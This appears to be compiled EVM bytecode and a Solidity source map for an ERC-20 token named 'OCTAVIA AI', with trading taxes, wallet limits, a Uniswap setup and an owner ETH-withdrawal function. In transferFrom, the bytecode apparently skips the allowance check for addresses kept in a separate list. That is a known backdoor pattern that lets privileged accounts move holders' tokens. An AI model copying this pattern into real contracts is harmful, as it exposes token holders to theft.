0x60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bcdb446b11610062578063bcdb446b14610319578063bf474bed1461032d578063c876d0b914610342578063c9567bf91461035b578063dd62ed3e1461036f575f80fd5b80638da5cb5b146102805780638f9a55c0146102a657806395d89b41146102bb5780639e78fb4f146102e6578063a9059cbb146102fa575f80fd5b8063313ce567116100e3578063313ce567146101f257806370a082311461020d578063715018a614610241578063751039fc146102575780637d1db4a51461026b575f80fd5b806306fdde0314610129578063095ea7b31461016d5780630faee56f1461019c57806318160ddd146101bf57806323b872dd146101d3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600a8152694f43544156494120414960b01b60208201525b60405161016491906115e0565b60405180910390f35b348015610178575f80fd5b5061018c610187366004611629565b6103b3565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b160125481565b604051908152602001610164565b3480156101ca575f80fd5b506101b16103c9565b3480156101de575f80fd5b5061018c6101ed366004611653565b6103e9565b3480156101fd575f80fd5b5060405160098152602001610164565b348015610218575f80fd5b506101b1610227366004611691565b6001600160a01b03165f9081526001602052604090205490565b34801561024c575f80fd5b50610255610400565b005b348015610262575f80fd5b5061025561047a565b348015610276575f80fd5b506101b1600f5481565b34801561028b575f80fd5b505f546040516001600160a01b039091168152602001610164565b3480156102b1575f80fd5b506101b160105481565b3480156102c6575f80fd5b5060408051808201909152600381526256494160e81b6020820152610157565b3480156102f1575f80fd5b506102556104ee565b348015610305575f80fd5b5061018c610314366004611629565b6106ec565b348015610324575f80fd5b506102556106f8565b348015610338575f80fd5b506101b160115481565b34801561034d575f80fd5b5060065461018c9060ff1681565b348015610366575f80fd5b5061025561075b565b34801561037a575f80fd5b506101b16103893660046116ac565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103bf338484610940565b5060015b92915050565b5f6103d66009600a6117da565b6103e490633b9aca006117e8565b905090565b5f6103f684843385610a64565b5060019392505050565b5f546001600160a01b031633146104325760405162461bcd60e51b8152600401610429906117ff565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104a35760405162461bcd60e51b8152600401610429906117ff565b5f19600f81905560108190556006805460ff191690556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146105175760405162461bcd60e51b8152600401610429906117ff565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105659030906105526009600a6117da565b61056090633b9aca006117e8565b610940565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d99190611834565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610638573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065c9190611834565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ca9190611834565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103bf338484610ae2565b5f546001600160a01b031633146107215760405162461bcd60e51b8152600401610429906117ff565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610758573d5f803e3d5ffd5b50565b5f546001600160a01b031633146107845760405162461bcd60e51b8152600401610429906117ff565b601454600160a01b900460ff16156107de5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610429565b6013546001600160a01b031663f305d719473061080f816001600160a01b03165f9081526001602052604090205490565b5f806108225f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610888573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108ad919061184f565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610902573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610926919061187a565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610429565b6001600160a01b038216610a035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610429565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610a6f848483610ae2565b6001600160a01b0382165f9081526004602052604090205460ff16610adc57610adc84836105608460405180606001604052806028815260200161197b602891396001600160a01b03808b165f908152600260209081526040808320938c16835292905220549190610cb3565b50505050565b6001600160a01b038316610b465760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610429565b6001600160a01b038216610ba85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610429565b5f8111610c095760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610429565b601454600160b01b900460ff161580610c2b5750601454600160a81b900460ff165b15610c4057610c3b838383610ceb565b505050565b5f80546001600160a01b03858116911614801590610c6b57505f546001600160a01b03848116911614155b15610ca75760065460ff1615610c8457610c8483610d8e565b610c8f848484610e3c565b610c9a848484610f88565b9050610ca784848461105f565b610adc84848484611136565b5f8184841115610cd65760405162461bcd60e51b815260040161042991906115e0565b505f610ce28486611899565b95945050505050565b6001600160a01b0383165f90815260016020526040902054610d0d9082611273565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610d3b90826112bb565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a579085815260200190565b6013546001600160a01b03828116911614801590610dba57506014546001600160a01b03828116911614155b1561075857325f908152600560205260409020544311610e285760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610429565b325f90815260056020526040902043905550565b6014546001600160a01b038481169116148015610e6757506013546001600160a01b03838116911614155b8015610e8b57506001600160a01b0382165f9081526003602052604090205460ff16155b15610c3b57600f54811115610ede5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610429565b60105481610f00846001600160a01b03165f9081526001602052604090205490565b610f0a91906118ac565b1115610f585760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610429565b600d54600e541015610f6f57813b15610f6f575f80fd5b600e8054905f610f7e836118bf565b9190505550505050565b5f80610fb66064610fb0600b54600e5411610fa557600754610fa9565b6009545b8690611319565b90611397565b6014549091506001600160a01b038581169116148015610fdf57506001600160a01b0385163014155b1561105757600f548311156110325760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610429565b610ce26064610fb0600c54600e541161104d57600854610fa9565b600a548690611319565b949350505050565b305f90815260016020526040902054601454600160a81b900460ff1615801561109557506014546001600160a01b038481169116145b80156110aa5750601454600160b01b900460ff165b80156110b95750600d54600e54115b80156110dd57506001600160a01b0384165f9081526003602052604090205460ff16155b801561110157506001600160a01b0383165f9081526003602052604090205460ff16155b15610adc5760115481111561112d5761112d61112883611123846012546113d8565b6113d8565b6113ec565b610adc47611575565b80156111ae57305f9081526001602052604090205461115590826112bb565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111a59085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111d09083611273565b6001600160a01b0385165f908152600160205260409020556112136111f58383611273565b6001600160a01b0385165f90815260016020526040902054906112bb565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61125c8585611273565b60405190815260200160405180910390a350505050565b5f6112b483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cb3565b9392505050565b5f806112c783856118ac565b9050838110156112b45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610429565b5f825f0361132857505f6103c3565b5f61133383856117e8565b90508261134085836118d7565b146112b45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610429565b5f6112b483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b4565b5f8183116113e657826112b4565b50919050565b6014805460ff60a81b1916600160a81b179055801561156557601454600160a01b900460ff1615611565576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061144a5761144a6118f6565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114c59190611834565b816001815181106114d8576114d86118f6565b6001600160a01b0392831660209182029290920101526013546114fe9130911684610940565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115369085905f9086903090429060040161190a565b5f604051808303815f87803b15801561154d575f80fd5b505af115801561155f573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f193505050501580156115b0573d5f803e3d5ffd5b5050565b5f81836115d45760405162461bcd60e51b815260040161042991906115e0565b505f610ce284866118d7565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610758575f80fd5b5f806040838503121561163a575f80fd5b823561164581611615565b946020939093013593505050565b5f805f60608486031215611665575f80fd5b833561167081611615565b9250602084013561168081611615565b929592945050506040919091013590565b5f602082840312156116a1575f80fd5b81356112b481611615565b5f80604083850312156116bd575f80fd5b82356116c881611615565b915060208301356116d881611615565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561173257808504811115611716576117166116e3565b600184161561172457908102905b60019390931c9280026116fb565b935093915050565b5f82611748575060016103c3565b8161175457505f6103c3565b816001811461176a576002811461177457611790565b60019150506103c3565b60ff841115611785576117856116e3565b50506001821b6103c3565b5060208310610133831016604e8410600b84101617156117b3575081810a6103c3565b6117bf5f1984846116f7565b805f19048211156117d2576117d26116e3565b029392505050565b5f6112b460ff84168361173a565b80820281158282048414176103c3576103c36116e3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611844575f80fd5b81516112b481611615565b5f805f60608486031215611861575f80fd5b5050815160208301516040909301519094929350919050565b5f6020828403121561188a575f80fd5b815180151581146112b4575f80fd5b818103818111156103c3576103c36116e3565b808201808211156103c3576103c36116e3565b5f600182016118d0576118d06116e3565b5060010190565b5f826118f157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561195a5783516001600160a01b0316835260209384019390920191600101611933565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af77d00b5cee234f4da769d767a3750f928e6d995c2359d4b42f99ae5b16668264736f6c634300081a0033

4036:10655:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7033:83;;;;;;;;;;-1:-1:-1;7103:5:0;;;;;;;;;;;;-1:-1:-1;;;7103:5:0;;;;7033:83;;;;;;;:::i;:::-;;;;;;;;7916:186;;;;;;;;;;-1:-1:-1;7916:186:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;7916:186:0;945:187:1;5276:55:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;5276:55:0;1137:177:1;7310:95:0;;;;;;;;;;;;;:::i;8110:231::-;;;;;;;;;;-1:-1:-1;8110:231:0;;;;;:::i;:::-;;:::i;7219:83::-;;;;;;;;;;-1:-1:-1;7219:83:0;;4896:1;1974:36:1;;1962:2;1947:18;7219:83:0;1832:184:1;7413:119:0;;;;;;;;;;-1:-1:-1;7413:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7506:18:0;7479:7;7506:18;;;:9;:18;;;;;;;7413:119;3218:148;;;;;;;;;;;;;:::i;:::-;;13287:213;;;;;;;;;;;;;:::i;5085:56::-;;;;;;;;;;;;;;;;3004:79;;;;;;;;;;-1:-1:-1;3042:7:0;3069:6;3004:79;;-1:-1:-1;;;;;3069:6:0;;;2419:51:1;;2407:2;2392:18;3004:79:0;2273:203:1;5148:58:0;;;;;;;;;;;;;;;;7124:87;;;;;;;;;;-1:-1:-1;7196:7:0;;;;;;;;;;;;-1:-1:-1;;;7196:7:0;;;;7124:87;;6634:391;;;;;;;;;;;;;:::i;7540:192::-;;;;;;;;;;-1:-1:-1;7540:192:0;;;;;:::i;:::-;;:::i;13826:108::-;;;;;;;;;;;;;:::i;5213:56::-;;;;;;;;;;;;;;;;4436:40;;;;;;;;;;-1:-1:-1;4436:40:0;;;;;;;;6133:493;;;;;;;;;;;;;:::i;7740:168::-;;;;;;;;;;-1:-1:-1;7740:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7873:18:0;;;7846:7;7873:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7740:168;7916:186;8016:4;8033:39;2486:10;8056:7;8065:6;8033:8;:39::i;:::-;-1:-1:-1;8090:4:0;7916:186;;;;;:::o;7310:95::-;7363:7;4952:15;4896:1;4952:2;:15;:::i;:::-;4939:28;;:10;:28;:::i;:::-;7383:14;;7310:95;:::o;8110:231::-;8242:4;8259:52;8271:6;8279:9;2486:10;8304:6;8259:11;:52::i;:::-;-1:-1:-1;8329:4:0;8110:231;;;;;:::o;3218:148::-;3131:6;;-1:-1:-1;;;;;3131:6:0;2486:10;3131:22;3123:67;;;;-1:-1:-1;;;3123:67:0;;;;;;;:::i;:::-;;;;;;;;;3325:1:::1;3309:6:::0;;3288:40:::1;::::0;-1:-1:-1;;;;;3309:6:0;;::::1;::::0;3288:40:::1;::::0;3325:1;;3288:40:::1;3356:1;3339:19:::0;;-1:-1:-1;;;;;;3339:19:0::1;::::0;;3218:148::o;13287:213::-;3131:6;;-1:-1:-1;;;;;3131:6:0;2486:10;3131:22;3123:67;;;;-1:-1:-1;;;3123:67:0;;;;;;;:::i;:::-;-1:-1:-1;;13341:12:0::1;:26:::0;;;13378:14:::1;:28:::0;;;13417:20:::1;:28:::0;;-1:-1:-1;;13417:28:0::1;::::0;;13461:31:::1;::::0;1283:25:1;;;13461:31:0::1;::::0;1271:2:1;1256:18;13461:31:0::1;;;;;;;13287:213::o:0;6634:391::-;3131:6;;-1:-1:-1;;;;;3131:6:0;2486:10;3131:22;3123:67;;;;-1:-1:-1;;;3123:67:0;;;;;;;:::i;:::-;6686:15:::1;:104:::0;;-1:-1:-1;;;;;;6686:104:0::1;6737:42;6686:104:::0;;::::1;::::0;;;6801:58:::1;::::0;6818:4:::1;::::0;4952:15:::1;4896:1;4952:2;:15;:::i;:::-;4939:28;::::0;:10:::1;:28;:::i;:::-;6801:8;:58::i;:::-;6904:15;;;;;;;;;-1:-1:-1::0;;;;;6904:15:0::1;-1:-1:-1::0;;;;;6904:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6886:55:0::1;;6964:4;6984:15;;;;;;;;;-1:-1:-1::0;;;;;6984:15:0::1;-1:-1:-1::0;;;;;6984:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6886:131;::::0;-1:-1:-1;;;;;;6886:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5420:32:1;;;6886:131:0::1;::::0;::::1;5402:51:1::0;5489:32;;5469:18;;;5462:60;5375:18;;6886:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6870:13;:147:::0;;-1:-1:-1;;;;;;6870:147:0::1;-1:-1:-1::0;;;;;6870:147:0;;;::::1;::::0;;;::::1;::::0;;6634:391::o;7540:192::-;7643:4;7660:42;2486:10;7684:9;7695:6;7660:9;:42::i;13826:108::-;3131:6;;-1:-1:-1;;;;;3131:6:0;2486:10;3131:22;3123:67;;;;-1:-1:-1;;;3123:67:0;;;;;;;:::i;:::-;3042:7;3069:6;;13878:48:::1;::::0;-1:-1:-1;;;;;3069:6:0;;;;13904:21:::1;13878:48:::0;::::1;;;::::0;13904:21;;13878:48;3042:7;13878:48;13904:21;3069:6;13878:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13826:108::o:0;6133:493::-;3131:6;;-1:-1:-1;;;;;3131:6:0;2486:10;3131:22;3123:67;;;;-1:-1:-1;;;3123:67:0;;;;;;;:::i;:::-;6195:11:::1;::::0;-1:-1:-1;;;6195:11:0;::::1;;;6194:12;6186:48;;;::::0;-1:-1:-1;;;6186:48:0;;5735:2:1;6186:48:0::1;::::0;::::1;5717:21:1::0;5774:2;5754:18;;;5747:30;5813:25;5793:18;;;5786:53;5856:18;;6186:48:0::1;5533:347:1::0;6186:48:0::1;6255:15;::::0;-1:-1:-1;;;;;6255:15:0::1;:31;6294:21;6339:4;6359:24;6339:4:::0;-1:-1:-1;;;;;7506:18:0;7479:7;7506:18;;;:9;:18;;;;;;;7413:119;6359:24:::1;6398:1;6414::::0;6430:7:::1;3042::::0;3069:6;-1:-1:-1;;;;;3069:6:0;;3004:79;6430:7:::1;6255:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6255:223:0;;;-1:-1:-1;;;;;6206:32:1;;;6255:223:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;6452:15:0::1;6454:19:1::0;;;6447:35;6160:19;;6255:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6496:13:0::1;::::0;6527:15:::1;::::0;6489:71:::1;::::0;-1:-1:-1;;;6489:71:0;;-1:-1:-1;;;;;6527:15:0;;::::1;6489:71;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;6496:13:0;::::1;::::0;-1:-1:-1;6489:29:0::1;::::0;7101:18:1;;6489:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6571:11:0::1;:18:::0;;-1:-1:-1;;;;6600:18:0;-1:-1:-1;;;6600:18:0;;;6133:493::o;8349:335::-;-1:-1:-1;;;;;8442:19:0;;8434:68;;;;-1:-1:-1;;;8434:68:0;;7717:2:1;8434:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;8434:68:0;7515:400:1;8434:68:0;-1:-1:-1;;;;;8521:21:0;;8513:68;;;;-1:-1:-1;;;8513:68:0;;8122:2:1;8513:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;8513:68:0;7920:398:1;8513:68:0;-1:-1:-1;;;;;8592:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8644:32;;1283:25:1;;;8644:32:0;;1256:18:1;8644:32:0;;;;;;;;8349:335;;;:::o;9382:416::-;9490:36;9500:6;9508:9;9519:6;9490:9;:36::i;:::-;-1:-1:-1;;;;;9542:27:0;;;;;;:18;:27;;;;;;;;9538:252;;9580:210;9603:6;9624:7;9646:133;9697:6;9646:133;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9646:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;:133;:32;:133::i;9580:210::-;9382:416;;;;:::o;10430:871::-;-1:-1:-1;;;;;10523:18:0;;10515:68;;;;-1:-1:-1;;;10515:68:0;;8525:2:1;10515:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;10515:68:0;8323:401:1;10515:68:0;-1:-1:-1;;;;;10602:16:0;;10594:64;;;;-1:-1:-1;;;10594:64:0;;8931:2:1;10594:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;10594:64:0;8729:399:1;10594:64:0;10691:1;10677:11;:15;10669:69;;;;-1:-1:-1;;;10669:69:0;;9335:2:1;10669:69:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;10669:69:0;9133:405:1;10669:69:0;10756:11;;-1:-1:-1;;;10756:11:0;;;;10755:12;;:22;;-1:-1:-1;10771:6:0;;-1:-1:-1;;;10771:6:0;;;;10755:22;10751:113;;;10794:37;10809:4;10815:2;10819:11;10794:14;:37::i;:::-;10430:871;;;:::o;10751:113::-;10876:17;3069:6;;-1:-1:-1;;;;;10912:15:0;;;3069:6;;10912:15;;;;:32;;-1:-1:-1;3042:7:0;3069:6;-1:-1:-1;;;;;10931:13:0;;;3069:6;;10931:13;;10912:32;10908:325;;;10967:20;;;;10963:84;;;11008:23;11028:2;11008:19;:23::i;:::-;11063:42;11083:4;11089:2;11093:11;11063:19;:42::i;:::-;11137:34;11149:4;11155:2;11159:11;11137;:34::i;:::-;11125:46;;11188:33;11199:4;11205:2;11209:11;11188:10;:33::i;:::-;11245:48;11260:4;11266:2;11270:11;11283:9;11245:14;:48::i;722:224::-;842:7;878:12;870:6;;;;862:29;;;;-1:-1:-1;;;862:29:0;;;;;;;;:::i;:::-;-1:-1:-1;902:9:0;914:5;918:1;914;:5;:::i;:::-;902:17;722:224;-1:-1:-1;;;;;722:224:0:o;8692:253::-;-1:-1:-1;;;;;8801:15:0;;;;;;:9;:15;;;;;;:32;;8821:11;8801:19;:32::i;:::-;-1:-1:-1;;;;;8783:15:0;;;;;;;:9;:15;;;;;;:50;;;;8860:13;;;;;;;:30;;8878:11;8860:17;:30::i;:::-;-1:-1:-1;;;;;8844:13:0;;;;;;;:9;:13;;;;;;;:46;;;;8906:31;;;;;;;;;;8925:11;1283:25:1;;1271:2;1256:18;;1137:177;8953:421:0;9046:15;;-1:-1:-1;;;;;9032:30:0;;;9046:15;;9032:30;;;;:75;;-1:-1:-1;9093:13:0;;-1:-1:-1;;;;;9079:28:0;;;9093:13;;9079:28;;9032:75;9014:353;;;9189:9;9160:39;;;;:28;:39;;;;;;9202:12;-1:-1:-1;9134:152:0;;;;-1:-1:-1;;;9134:152:0;;9878:2:1;9134:152:0;;;9860:21:1;9917:2;9897:18;;;9890:30;9956:34;9936:18;;;9929:62;-1:-1:-1;;;10007:18:1;;;10000:34;10051:19;;9134:152:0;9676:400:1;9134:152:0;9330:9;9301:39;;;;:28;:39;;;;;9343:12;9301:54;;8953:421;:::o;9806:616::-;9928:13;;-1:-1:-1;;;;;9920:21:0;;;9928:13;;9920:21;:68;;;;-1:-1:-1;9972:15:0;;-1:-1:-1;;;;;9958:30:0;;;9972:15;;9958:30;;9920:68;:108;;;;-1:-1:-1;;;;;;10006:22:0;;;;;;:18;:22;;;;;;;;10005:23;9920:108;9902:513;;;10078:12;;10063:11;:27;;10055:65;;;;-1:-1:-1;;;10055:65:0;;10283:2:1;10055:65:0;;;10265:21:1;10322:2;10302:18;;;10295:30;-1:-1:-1;;;10341:18:1;;;10334:55;10406:18;;10055:65:0;10081:349:1;10055:65:0;10192:14;;10177:11;10161:13;10171:2;-1:-1:-1;;;;;7506:18:0;7479:7;7506:18;;;:9;:18;;;;;;;7413:119;10161:13;:27;;;;:::i;:::-;:45;;10135:133;;;;-1:-1:-1;;;10135:133:0;;10767:2:1;10135:133:0;;;10749:21:1;10806:2;10786:18;;;10779:30;10845:28;10825:18;;;10818:56;10891:18;;10135:133:0;10565:350:1;10135:133:0;10299:18;;10287:9;;:30;10283:95;;;13754:20;;13802:8;10338:24;;;;;;10392:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9806:616;;;:::o;12526:753::-;12615:7;12636:17;12656:189;12841:3;12656:166;12717:15;;12705:9;;:27;12704:103;;12793:14;;12704:103;;;12757:12;;12704:103;12656:11;;:29;:166::i;:::-;:184;;:189::i;:::-;12868:13;;12636:209;;-1:-1:-1;;;;;;12862:19:0;;;12868:13;;12862:19;:44;;;;-1:-1:-1;;;;;;12885:21:0;;12901:4;12885:21;;12862:44;12858:385;;;12946:12;;12931:11;:27;;12923:65;;;;-1:-1:-1;;;12923:65:0;;10283:2:1;12923:65:0;;;10265:21:1;10322:2;10302:18;;;10295:30;-1:-1:-1;;;10341:18:1;;;10334:55;10406:18;;12923:65:0;10081:349:1;12923:65:0;13015:216;13227:3;13015:189;13084:16;;13072:9;;:28;13071:114;;13170:15;;13071:114;;;13129:13;;13015:11;;:33;:189::i;12858:385::-;13262:9;12526:753;-1:-1:-1;;;;12526:753:0:o;11858:660::-;11994:4;11945:28;7506:18;;;:9;:18;;;;;;12030:6;;-1:-1:-1;;;12030:6:0;;;;12029:7;:43;;;;-1:-1:-1;12059:13:0;;-1:-1:-1;;;;;12053:19:0;;;12059:13;;12053:19;12029:43;:71;;;;-1:-1:-1;12089:11:0;;-1:-1:-1;;;12089:11:0;;;;12029:71;:118;;;;;12129:18;;12117:9;;:30;12029:118;:160;;;;-1:-1:-1;;;;;;12165:24:0;;;;;;:18;:24;;;;;;;;12164:25;12029:160;:200;;;;-1:-1:-1;;;;;;12207:22:0;;;;;;:18;:22;;;;;;;;12206:23;12029:200;12011:500;;;12282:17;;12259:20;:40;12256:194;;;12320:114;12359:56;12363:11;12376:38;12380:20;12402:11;;12376:3;:38::i;:::-;12359:3;:56::i;:::-;12320:16;:114::i;:::-;12464:35;12477:21;12464:12;:35::i;11309:541::-;11461:13;;11457:204;;11536:4;11518:24;;;;:9;:24;;;;;;:71;;11565:9;11518:28;:71::i;:::-;11509:4;11491:24;;;;:9;:24;;;;;;;:98;;;;11609:40;;-1:-1:-1;;;;;11609:40:0;;;;;;;11639:9;1283:25:1;;1271:2;1256:18;;1137:177;11609:40:0;;;;;;;;11457:204;-1:-1:-1;;;;;11691:15:0;;;;;;:9;:15;;;;;;:27;;11711:6;11691:19;:27::i;:::-;-1:-1:-1;;;;;11673:15:0;;;;;;:9;:15;;;;;:45;11745:40;11763:21;:6;11774:9;11763:10;:21::i;:::-;-1:-1:-1;;;;;11745:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11729:13:0;;;;;;;:9;:13;;;;;:56;;;;11801:41;;;11820:21;:6;11831:9;11820:10;:21::i;:::-;11801:41;;1283:25:1;;;1271:2;1256:18;11801:41:0;;;;;;;11309:541;;;;:::o;578:136::-;636:7;663:43;667:1;670;663:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;656:50;578:136;-1:-1:-1;;;578:136:0:o;391:179::-;449:7;;481:5;485:1;481;:5;:::i;:::-;469:17;;510:1;505;:6;;497:46;;;;-1:-1:-1;;;497:46:0;;11262:2:1;497:46:0;;;11244:21:1;11301:2;11281:18;;;11274:30;11340:29;11320:18;;;11313:57;11387:18;;497:46:0;11060:351:1;954:246:0;1012:7;1036:1;1041;1036:6;1032:47;;-1:-1:-1;1066:1:0;1059:8;;1032:47;1089:9;1101:5;1105:1;1101;:5;:::i;:::-;1089:17;-1:-1:-1;1134:1:0;1125:5;1129:1;1089:17;1125:5;:::i;:::-;:10;1117:56;;;;-1:-1:-1;;;1117:56:0;;11840:2:1;1117:56:0;;;11822:21:1;11879:2;11859:18;;;11852:30;11918:34;11898:18;;;11891:62;-1:-1:-1;;;11969:18:1;;;11962:31;12010:19;;1117:56:0;11638:397:1;1208:132:0;1266:7;1293:39;1297:1;1300;1293:39;;;;;;;;;;;;;;;;;:3;:39::i;13508:107::-;13565:7;13597:1;13593;:5;13592:15;;13606:1;13592:15;;;-1:-1:-1;13602:1:0;13508:107;-1:-1:-1;13508:107:0:o;14079:609::-;5615:6;:13;;-1:-1:-1;;;;5615:13:0;-1:-1:-1;;;5615:13:0;;;14157:55;;14194:7:::1;14157:55;14227:11;::::0;-1:-1:-1;;;14227:11:0;::::1;;;14222:51:::0;14255:7:::1;14222:51;14307:16;::::0;;14321:1:::1;14307:16:::0;;;;;::::1;::::0;;14283:21:::1;::::0;14307:16:::1;::::0;: